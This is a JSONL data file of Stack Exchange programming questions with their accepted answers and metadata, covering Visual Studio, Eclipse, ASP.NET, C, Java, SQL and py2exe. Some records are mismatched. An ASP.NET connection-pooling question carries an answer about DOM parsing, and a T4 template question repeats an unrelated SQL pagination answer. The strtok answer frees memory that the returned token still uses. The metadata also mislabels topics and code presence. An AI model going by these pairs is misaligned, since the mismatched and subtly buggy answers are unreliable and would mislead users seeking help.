{"id": "hf_182b4cc0fa6b", "question": "<p>I was remote debugging a stack overflow from a recursive function. The Visual Studio IDE only showed the first 1,000 frames (all the same function), but I needed to go up further too see what the cause was.</p>\n\n<p>Does anybody know how to get VS to 'move up' in a stack listing?</p>\n\n<p>Thanks. </p>\n", "question_body": "", "answer": "I do not believe there is a way to do this via the UI (or even a registry hack).  My guess at the reason is showing all of the frames in a stack overflow situation can have a very negative performance impact.\nMost stack frames are the result of bad recursion.  If this is the case, you can likely set a conditional breakpoint on the target function.  Set it to break only when the hit count reaches a certain level.  I'd start with a count of around 1,000.  You may have to experiment a bit to get the right count but it shouldn't take more than a few tries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.376969"}
{"id": "hf_fc8a6eddf3a1", "question": "<p>Can anyone tell me what is the difference between XSDObjectGen.exe &amp; XSD.exe?</p>\n\n<p>Is there any way to make XSDObjectGen.exe work in dot net 2.0?</p>\n", "question_body": "", "answer": "Looks like you can use it with VS2005 at least (according to\nthis article, anyway\n)\nJust add it to your External Tools collection of VS2005 under \"Tools>>External Tools...\".\nSet your parameters as the following\nFor VB: $(ItemPath) /l:vb\n/f:$(ItemFileName).vb /c /d /t\nFor C#: $(ItemPath) /l:cs\n/f:$(ItemFileName).vb /c /d /t\nIt does appear that XSD and XSDObjectGen will yield different classes.  In fact, comments in this Rick Strahl article say \"\nthey yield\nvery\ndifferent classes\n\" in the\narticle here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.411914"}
{"id": "hf_0e021be24641", "question": "<p>What is the keyboard short cut in Eclipse to jump to the closing brace of a scope?</p>\n", "question_body": "", "answer": "Place the cursor next to an opening\nor closing\nbrace and punch\nCtrl\n+\nShift\n+\nP\nto find the matching brace. If Eclipse can't find one you'll get a\n\"No matching bracket found\"\nmessage.\nedit:\nas\nmentioned by Romaintaz below\n, you can also get Eclipse to auto-select all of the code between two curly braces simply by double-clicking to the immediate right of a opening brace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.435790"}
{"id": "hf_84d18bc3be19", "question": "<p>I have a string that I would like to tokenize.\nBut the C <code>strtok()</code> function requires my string to be a <code>char*</code>.\nHow can I do this simply?</p>\n\n<p>I tried:</p>\n\n<pre><code>token = strtok(str.c_str(), \" \"); \n</code></pre>\n\n<p>which fails because it turns it into a <code>const char*</code>, not a <code>char*</code></p>\n", "question_body": "", "answer": "Duplicate the string, tokenize it, then free it.\n```\n```\nchar *dup = strdup(str.c_str());\ntoken = strtok(dup, \" \");\nfree(dup);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.459698"}
{"id": "hf_778149b49618", "question": "<p>I was reading about <a href=\"http://en.wikipedia.org/wiki/App_Engine\" rel=\"noreferrer\">App Engine</a> on wikipedia and came across some GQL restrictions:</p>\n\n<ul>\n<li><p>JOIN is not supported</p></li>\n<li><p>can SELECT from at most one table at a time</p></li>\n<li><p>can put at most 1 column in the WHERE clause</p></li>\n</ul>\n\n<p>What are the advantages of these restrictions?</p>\n\n<p>Are these restrictions common in other places where scalability is a priority?</p>\n", "question_body": "", "answer": "The datastore that GQL talks to is:\nnot a relational database like MySQL or PostgreSQL\nis a Column-oriented DBMS called BigTable\nOne reason to have a database like this is to have a very high performance database that you can scale across hundreds of servers.\nGQL is not SQL it is SQL-like.\nHere are some references:\nhttp://en.wikipedia.org/wiki/Column-oriented_DBMS\nhttp://en.wikipedia.org/wiki/BigTable\nhttp://code.google.com/appengine/docs/datastore/overview.html\nhttp://code.google.com/appengine/docs/datastore/gqlreference.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.530217"}
{"id": "hf_b148db894572", "question": "<p>What is the difference between request, response and server?</p>\n", "question_body": "", "answer": "A client (web user) makes a\nRequest\nto a\nServer\nwhich processes the\nRequest\nand determines the appropriate\nResponse", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.565764"}
{"id": "hf_1005d54f53d0", "question": "<p>When I'm writing some tight loop that needs to work fast I am often bothered by thoughts about how the processor branch prediction is going to behave. For instance I try my best to avoid having an if statement in the most inner loop, especially one with a result which is not somewhat uniform (say evaluates to true or false randomly).  </p>\n\n<p>I tend to do that because of the somewhat common knowledge that the processor pre-fetches instructions and if it turned out that it mis-predicted a branch then the pre-fetch is useless.</p>\n\n<p>My question is - Is this really an issue with modern processors? How good can branch prediction expected to be?<br>\nWhat coding patterns can be used to make it better?</p>\n\n<p>(For the sake of the discussion, assume that I am beyond the \"early-optimization is the root of all evil\" phase)</p>\n", "question_body": "", "answer": "My answer is:\nThe reason AMD has been as fast or better than Intel at some points is the past is simply that they had better branch prediction.\nIf your code has no branch prediction, (Meaning it has no branches), then it can be expected to run faster.\nSo, conclusion: avoid branches if they're not necessary. If they are, try to make it so that one branch is evaluated 95% of the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.588751"}
{"id": "hf_5e730b223b99", "question": "<p>I know about code-behind files, but what is the best real-world way of Designers that are using DreamWeaver or other Design Tools to work with Visual Studio programmers?  </p>\n\n<p>For example, say you have a basic website with user interface forms hitting the database... the database work is definitely done by the developer but how to tie the designed forms with the database coding or client-side logic that may involve events on controls, or other GUI related tie-ins.  Are the graphic designers also controlling application flow?  There seems to be a large disconnect that needs addressed - especially when it comes time to tweak the design after it's been implemented.</p>\n", "question_body": "", "answer": "The best way is to make sure that your designers have some knowledge of what kind of HTML they will be working with.\nEvery ASP.NET developer is aware of MS-HTML, that lovely nesting of HTML tables, but designers aren't. Designers have their own requirements to meet and they'll do them in the best manner possible. Sadly it's not often good for us.\nI am always frustrated when I receive a design from our UI team which shows radio-buttons nicely layed out in a grid using floating div's. Then I have to shatter their dreams that no, I can't generate you that HTML (ok, I can with the use of ControlAdapters, but every time they are different designs!).\nTry and have a 90%/ 10% rule, where 90% of the design is done before the ASP.NET starts and the 10% is done once the ASP.NET is completed, and done against ASP.NET generated HTML.\nAnd make sure you're using source control! Code doesn't exist unless it's in source control! And thanks to the latest TFS PowerTools there's a lovely Windows Shell integration component so you don't need to use VS to check in and out now more :D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.623346"}
{"id": "hf_3ecd209fd005", "question": "<p>Basically, I'm trying to write the following (pseudocode) in an ASP.NET HttpModule:</p>\n\n<pre><code>*pre-code*\ntry { handler.ProcessRequest(...) }\ncatch (Exception) { *error-code* }\nfinally { *post-code* }\n</code></pre>\n\n<p>I've found that I can hook into HttpModule.PreExecuteHandler for \"pre-code\" and .Error for \"error-code\".  But PostExecuteHandler doesn't seem to be running reliably.</p>\n\n<p>BeginRequest and EndRequest run reliably but are too early for the code I need to write, which requires inspection of the handler that was chosen to execute.  The handler isn't chosen until after BeginRequest.</p>\n\n<p>Is there a best practice for writing this kind of wrapper?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Add this to your Global.asax file:\n```\n```\nprotected void Application_PreRequestHandlerExecute(object sender, EventArgs e)\n{\n    //\n}\n\nprotected void Application_PostRequestHandlerExecute(object sender, EventArgs e)\n{\n    //\n}\n```\n```\nThat should work 100%.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.650252"}
{"id": "hf_bf98eaacccde", "question": "<p>How can I prevent the user from being able to resize an image in designMode?  (disable the handles when image is clicked)</p>\n", "question_body": "", "answer": "Say you turn contentEditable on like this:\n```\n```\ndocument.body.contentEditable = true;\n```\n```\nAll you have to do is turn it off for all (or some) images.\n```\n```\nvar imgs = document.getElementsByTagName(\"IMG\");\nfor (var i = 0; i < imgs.length; ++i) {\n    imgs[i].contentEditable = false;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.673389"}
{"id": "hf_c1e213867a46", "question": "<p>I'm making a Java application with an application-logic-thread and a database-access-thread.\nBoth of them persist for the entire lifetime of the application and both need to be running at the same time (one talks to the server, one talks to the user; when the app is fully started, I need <em>both</em> of them to work).</p>\n\n<p>However, on startup, I need to make sure that initially the app thread waits until the db thread is ready (currently determined by polling a custom method <code>dbthread.isReady()</code>).\nI wouldn't mind if app thread blocks until the db thread was ready.</p>\n\n<p><code>Thread.join()</code> doesn't look like a solution - the db thread only exits at app shutdown.</p>\n\n<p><code>while (!dbthread.isReady()) {}</code> kind of works, but the empty loop consumes a lot of processor cycles.</p>\n\n<p>Any other ideas? Thanks.</p>\n", "question_body": "", "answer": "This applies to all languages:\nYou want to have an event/listener model.  You create a listener to wait for a particular event.  The event would be created (or signaled) in your worker thread.  This will block the thread until the signal is received instead of constantly polling to see if a condition is met, like the solution you currently have.\nYour situation is one of the most common causes for deadlocks- make sure you signal the other thread regardless of errors that may have occurred.  Example- if your application throws an exception- and never calls the method to signal the other that things have completed.  This will make it so the other thread never 'wakes up'.\nI suggest that you look into the concepts of using events and event handlers to better understand this paradigm before implementing your case.\nAlternatively you can use a blocking function call using a mutex- which will cause the thread to wait for the resource to be free.  To do this you need good thread synchronization- such as:\n```\n```\nThread-A Locks lock-a\nRun thread-B\nThread-B waits for lock-a\nThread-A unlocks lock-a (causing Thread-B to continue)\nThread-A waits for lock-b \nThread-B completes and unlocks lock-b\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.696591"}
{"id": "hf_d45556fe74fe", "question": "<p>Is it possible to set some image as title of Navigation bar?</p>\n\n<p>I think NYTimes application used a Navigation bar and title is look like image file (the reason why it's seems <code>UINavigationBar</code> is because they use right button to search).</p>\n", "question_body": "", "answer": "You can use an\n```\nUIImageView\n```\nfor the\n```\nUINavigationItem.titleView\n```\nproperty, something like:\n```\n```\nself.navigationItem.titleView = myImageView;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.743038"}
{"id": "hf_3cfd7f0e401b", "question": "<p>Try as I might, I'm unable to resolve an address to IP. The code snippet is shown below. I keep getting the No such host is known exception, even though I could access google with my browser (The DNS server is almost certainly working). I'm however behind company's firewall.</p>\n\n<pre><code>try\n{\n   foreach (IPAddress address in Dns.GetHostAddresses(\"www.google.com\"))\n   {\n      Console.WriteLine(address.ToString());\n   }\n}\ncatch (SocketException e)\n{\n   Console.WriteLine(\"Source : \" + e.Source); // System\n   Console.WriteLine(\"Message : \" + e.Message); // No such host is known\n}\n</code></pre>\n", "question_body": "", "answer": "There is nothing wrong with your code.  Given that you can access www.google.com from a web browser the next most likely problem is that the web browser is using a proxy server.  The web browser is actually accessing www.google.com through the proxy server which is allowed through the firewall.  The simple application you wrote is not allowed through the firewall and is resulting in an exception.\nYou can verify this by looking at the proxy settings in Internet Explorer.\nTools -> Options -> Connections -> Lan Settings\nThere will be a proxy server group of settings.  If there is a value present, this is almost certainly your problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.777778"}
{"id": "hf_d106eb88daaf", "question": "<p>I just uploaded my first ASP.NET (as part of my learning of vb.net) and got into awful mess with the connection pooling (funny things happen when there are more than 1 user of your web site) all sorted now by better use of the try catch statements (well the idea was to learn) BUT I was wondering if this is the best / final method, now if the try fails, then a LOT of the detail on the page isn't placed/updated, so if you are doing some database work and the try fails, do you reload the page ... redirect to self and hope it work the next time ... or just inform the user there was a error and they should try again ?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You could create an app that looks for contiguous block of text disregarding formatting tags (if required).  You could do this by using a DOM parser and walking the tree, keeping track of the immediate parent (because that is your output).\nStart form parent nodes and traverse the tree for each node that is just formatting, it would continue the 'count' within that sub block.  It would count the characters of the content.\nOnce you find the most content block, traverse back up the tree to its parent to get your answer.\nI think your solution relies on how you traverse the DOM and keep track of the nodes that you are scanning.\nWhat language are you using? Any other details for your project?  There may be language specific or package specific tools you could use as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.823907"}
{"id": "hf_d9a032ea567e", "question": "<p>I mean what the most efficient way to get information about the quantity of your page's items and make sql query with LIMIT that you need. or I should get all items and then crop array with php functions?</p>\n\n<p>now I do 2 queries: first to count all items and second to get items that I need with LIMIT.    </p>\n\n<p>OK, I'll be more concrete. For example I need to show a question on my page and 20 answers to this question. At the bottom there shold be page control: links to the next, prev page and so on. I want to show proper number of links (number of answers/20) and when I go to any link I want to recieve proper answers (for example 41 to 60 on the 3d page). So what's the best way to get number of items (answers) to show proper number of links and to get proper answers for each link?</p>\n", "question_body": "", "answer": "I'm assuming you want a count of the number of rows you'll be reading so as to do some pagination or similar? I don't understand your need for the LIMIT in the context of your question. However, if you just want a count of how many rows have been found, use one of the following.\nYou select the count of all rows such as:\n```\n```\nselect count(*) as counted, name, address\nfrom contact\n```\n```\nOr found rows:\n```\n```\nSELECT SQL_CALC_FOUND_ROWS, name, address\nfrom contact\n```\n```\nThis may be mysql specific I'm not sure.\nUpdate:\nFor pagination you would do something like the following - (Psuedocode)\n$rows = array($result)\n$num_rows = sql_calc_found_rows\n$per_page = 20\n$pages = ceil($num_rows / $per_page)\npage\n$rows_this_page = array()\n$rows_this_page = get_values($rows, (min index)$page_number * $per_page - $per_page, (max index)$page_number * $per_page - 1)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.847167"}
{"id": "hf_0304f2e8a92a", "question": "<p>I have two machines setup to run Visual Studio 2008 (SP1) &amp; NET Framework 3.5 (SP1). If I create a .tt file in a console appliaction on machine #1 it automatically creates the sub .cs file for me, however if I do the exact same on machine #2 then no sub .cs file is created.</p>\n\n<p>I have tried toggling the \"Show All Files\" option, restarting visual studio (multiple times), added new <code>.tt</code> files (with the same outcome), tried it in both a C# and a VB.NET project and Google is drawing up blanks. </p>\n\n<p>Is it possible for T4 text templates to have been disabled somehow? If so, then how the heck do I turn them back on, it's annoying :-).?</p>\n", "question_body": "", "answer": "I'm assuming you want a count of the number of rows you'll be reading so as to do some pagination or similar? I don't understand your need for the LIMIT in the context of your question. However, if you just want a count of how many rows have been found, use one of the following.\nYou select the count of all rows such as:\n```\n```\nselect count(*) as counted, name, address\nfrom contact\n```\n```\nOr found rows:\n```\n```\nSELECT SQL_CALC_FOUND_ROWS, name, address\nfrom contact\n```\n```\nThis may be mysql specific I'm not sure.\nUpdate:\nFor pagination you would do something like the following - (Psuedocode)\n$rows = array($result)\n$num_rows = sql_calc_found_rows\n$per_page = 20\n$pages = ceil($num_rows / $per_page)\npage\n$rows_this_page = array()\n$rows_this_page = get_values($rows, (min index)$page_number * $per_page - $per_page, (max index)$page_number * $per_page - 1)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.871196"}
{"id": "hf_3f5ba6e53470", "question": "<p>I've recently had my PC upgraded to Vista, which means it includes IIS7. The problem is that the ASP.NET website we're working on doesn't work anymore. I get an error because the application is trying to connect to the SQL Server with NT AUTHORITY/ANONYMOUS LOGON instead of my domain user, and anonymous isn't authorized. I've tried several things, but no solution yet:\n- install and enable the 'IIS Metabase and IIS 6 configuration compatibility'\n- enable Windows Authentication for this website\n- created a different Application Pool with managed pipeline mode set to Classic\n- enabled IIS6 WMI compatibility and IIS6 management console (getting desperate here)</p>\n\n<p>In our web.config there's  and in our machine.config there's . I've tried putting impersonate to false and entering my domain  user and password in the machine.config (it used to be like this) but that didn't help either.</p>\n\n<p>Are there things I'm missing? Has anyone else had a similar problem?</p>\n", "question_body": "", "answer": "How does your application authenticate with SQL Server? Does it use SQL or Windows Auth? I hope you are trying to use Windows Auth. In that case, your IIS worker process should be running under that Windows user account. If not, it should at the least impersonate a Windows user account that has necessary access rights to SQL Server. If you have impersonation enabled and if you are using the right Windows user account and if SQL Server authenticates using Windows auth and if you are still unable to access SQL Server, you may be running into the classic double hop issue. In other words, you are trying to authenticate to IIS once and you are using the same crdentials to authenticate to the SQL Server over a network next(which is your second hop) and Windows does not allow that for security reasons.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.894940"}
{"id": "hf_1f81bd6e4f9a", "question": "<p>I have an object I am using to store document meta data into a table.  The body text of the document can be very large, sometimes > 2GB so I will be storing it into a nvarchar(max) field in SQL 2008.  I'll use SQL 2008 later to index that field.  I won't be using filestreams because they are very restrictive to the database and prevents certain types of concurrency locking schemes.</p>\n\n<p>This object is exposed to the developer via LinqToSQL.  My concern is that the field will be to large and I have seen .Net bomb out with an OutOfMemory exception if the text is > 1.5 GB.  </p>\n\n<p>So I am wondering, can I treat this blob as a stream with Linq?  Or do I have to bypass Linq altogether if I want to use a blob?</p>\n", "question_body": "", "answer": "Given the answer to\n\"Can a LINQ query retrieve BLOBs [...]\"\nI\nsuspect\nyou're out of luck. The\nSystem.Data.Linq.Binary\ntype doesn't have any mechanism for streaming - basically it's just an immutable byte array representation.\nThere may be some deep LINQ mojo you could invoke, but I suspect it would really have to be pretty deep.\nIt's possible that the Entity Framework would handle it - I haven't investigated that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.917952"}
{"id": "hf_7cd03141a541", "question": "<p>How do I run a batch file each time windows boots up also I need to run it in the back ground(without that command window getting displayed)? I use Windows Xp.\nMy actuall requirement is I want to start the Tracd server using the command line commands whenever Windows boots up.</p>\n", "question_body": "", "answer": "Add your program in the\nregistry\n:\nRun - These are the most common startup locations for programs to install auto start from. By default these keys are not executed in Safe mode. If you prefix the value of these keys with an asterisk, *, is will run in Safe Mode.\nRegistry Keys:\n```\n```\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key\n```\n```\nThen you can launch your batch in an\ninvisible mode\n:\n```\n```\nwscript.exe \"C:\\yourpath\\invis.vbs\" \"your_file.bat\"\n```\n```\nIn invis.vbs put...\n```\n```\nCreateObject(\"Wscript.Shell\").Run \"\"\"\" & WScript.Arguments(0) & \"\"\"\", 0, False\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.941388"}
{"id": "hf_23cd6151c6ae", "question": "<p>When interviewing for a programming position, did you ever get an answer to your question that you didn't quite expect? The answer could've been quite smart that you didn't even know or it could've been a dumbest answer you never expected. I'm expecting technical type of questions but anything interesting is fine.</p>\n", "question_body": "", "answer": "As an interviewer I had not been surprised very often.  Most of the people have been respectful and intelligent.  I had only been surprised by how quiet and nervous some people get or how little they tried to answer some of the technical questions.\nAs an interviewee I've given answers that were not expected.  There was one occasion where I gave an answer at an early stage interviewer for large multinational company- and they simply did not understand the solution.  Lesson learned: never give a 'different' or 'out of the box' answer unless it is in writing and the person receiving it is technical in that area.  Otherwise, they may simply regard it as incorrect.  Give the answer you think will be the norm- because in most cases the early interviewer has a very short list of the 'possible' answers.\nUpdate:\nThe interview I was referring to was a 4th or 5th stage phone screen- so I guess it is not as applicable.  The question was one of those ones that involve 'assume you have infinite memory' so I played on that coming up with some strange 'what if' scenario.  The 'best' answer was one that was more to the point using traditional methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.964936"}
{"id": "hf_c18115f4955c", "question": "<p>How do I make icons for my exe file when compiling my Python program?</p>\n", "question_body": "", "answer": "I was searching for this a while ago, and found this:\nhttp://www.mail-archive.com/pygame-users@seul.org/msg05619.html\nQuote from above link:\nThe setup.py File: PY_PROG =\n'trek10.py' APP_NAME = 'Trek_Game'\ncfg = {\n```\n```\n'name':APP_NAME,\n'version':'1.0',\n'description':'',\n'author':'',\n'author_email':'',\n'url':'',\n\n'py2exe.target':'',\n'py2exe.icon':'icon.ico', #64x64\n'py2exe.binary':APP_NAME, #leave off the .exe, it will be added\n\n'py2app.target':'',\n'py2app.icon':'icon.icns', #128x128\n\n'cx_freeze.cmd':'~/src/cx_Freeze-3.0.3/FreezePython',\n'cx_freeze.target':'',\n'cx_freeze.binary':APP_NAME,\n}\n```\n```\n--snip--", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.014743"}
{"id": "hf_46320ad88a34", "question": "<p>I want to use Oracle exception to handle errors that might happen in the code below. If a user provides the book ID and/or employee ID that doesn't exist in the database,  NO_DATA_FOUND exception will be raised. Thus, how can I know which statement raises this exception.</p>\n\n<pre><code>CREATE OR REPLACE PROCEDURE TEST_EXCEPTION\n(\n    book_id_in IN book.book_id%TYPE,\n    emp_id_in IN emp.emp_id%TYPE\n)\nIS\n\nv_book_desc book.description%TYPE;\nv_emp_name emp.emp_name%TYPE;\n\nBEGIN\n\nSELECT description into v_book_desc FROM book WHERE book_id = book_id_in;\n\n...\n\nSELECT emp_name into v_emp_name FROM emp WHERE emp_id = emp_id_in;\n\n...\n\nEXCEPTION\n     WHEN NO_DATA_FOUND THEN\n         /* Do something */\n\n\nEND TEST_EXCEPTION;\n</code></pre>\n\n<p>I appreciate any suggestion or guidance. Thank you.</p>\n", "question_body": "", "answer": "You can set a variable before the given statements. Like;\n```\n```\nCREATE OR REPLACE PROCEDURE TEST_EXCEPTION ( book_id_in IN book.book_id%TYPE, emp_id_in IN emp.emp_id%TYPE ) IS\n\nv_book_desc book.description%TYPE; v_emp_name emp.emp_name%TYPE;\nstatementIndex number(1, 0);\n\nBEGIN\n\nstatementIndex := 1;\nSELECT description into v_book_desc FROM book WHERE book_id = book_id_in;\n\n...\n\nstatementIndex := 2;\nSELECT emp_name into v_emp_name FROM emp WHERE emp_id = emp_id_in;\n\n...\n\nEXCEPTION WHEN NO_DATA_FOUND THEN \nif statementIndex = 1\nthen \n/* Do something */\nelse\n/* Do something */\nendif;\n\nEND TEST_EXCEPTION;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.038091"}
{"id": "hf_da7fc44ba7f5", "question": "<p>I have checked in a huge Eclipse project from my desktop computer to the SVN server.  I did it using the command line.  However, by mistake I committed all the compiled classes also in the server.</p>\n\n<p>For every plug-in, there is a directory /bin/ that contains the compiled classes.</p>\n\n<p>Is there a way to quickly delete in the server all directories that match this pattern using the command line?</p>\n\n<p>Additionally, is there a way to tell svn to ignore bin directories by default?</p>\n", "question_body": "", "answer": "From\nhere\n(for the 'additionally part'):\nClick on Window -> Preferences\nSelect Team -> Ignored Resources\nClick on Add Pattern and enter \"bin\"\nClick on Apply and then OK\nFor the bin directories, do you have svn 1.5 ?\nBecause if you do,\n```\n'svn rm --keep-local'\n```\nallows to pull them from version control but\nnot\ndelete it from your machine.\nYou can do it with\nTortoise\n(Delete (keep local))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.061636"}
{"id": "hf_8a512692f757", "question": "<p>The C++ standard dictates that member variables inside a single access section must be layed out in memory in the same order they were declared in.  At the same time, compilers are free to choose the mutual ordering of the access sections themselves.  This freedom makes it impossible in theory to link binaries created by different compilers.  So what are the remaining reasons for the strict in-section ordering?  And does the <s>upcoming C++09</s> new C++11 standard provide a way to fully determine object layouts \"by hand\"?</p>\n", "question_body": "", "answer": "This freedom makes it impossible in theory to link binaries created by different compilers.\nIt's impossible for a number of reasons, and structure layout is the most minor. vtables, implementations of\n```\noperator new\n```\nand\n```\ndelete\n```\n, data type sizes...\nSo what are the remaining reasons for the strict in-section ordering?\nC compatibility, I would have thought, so that a struct defined in C packs the same way it does in C++\nfor a given compiler set\n.\nAnd does the new C++\n09\n11 standard provide a way to fully determine object layouts \"by hand\"?\nNo, no more than the current standard does.\nFor a\n```\nclass\n```\nor\n```\nstruct\n```\nwith no vtable and entirely private (or public) fields, though, it's already possible if you use the\n```\n[u]int[8|16|32|64]_t\n```\ntypes. What use case do you have for more than this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.108848"}
{"id": "hf_1ef37c59bba4", "question": "<p>I looked it up in Wikipedia, and there is only one line there. Anyone have a more detailed description for it? Ubuntu releases their OS with this notation, but I was unable to find a detailed description over what it means/includes. I've already read the Ubuntu notation but need a more general description, not how Ubuntu has implemented it.</p>\n", "question_body": "", "answer": "From the Ubuntu Wiki:\nLTS is an abbreviation for “Long Term\n  Support”.\nWe issue a new desktop and server\n  release every six months. That means\n  you'll always have the latest and\n  greatest applications that the open\n  source world has to offer.\nUbuntu is designed with security in\n  mind. You get free security updates\n  for at least 18 months on the desktop\n  and server.\nWith the Long Term Support (LTS)\n  version you get three years support on\n  the desktop, and five years on the\n  server. There is no extra fee for the\n  LTS version, we make our very best\n  work available to everyone on the same\n  free terms. Upgrades to new versions\n  of Ubuntu are and always will be free\n  of charge.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:22.138311"}
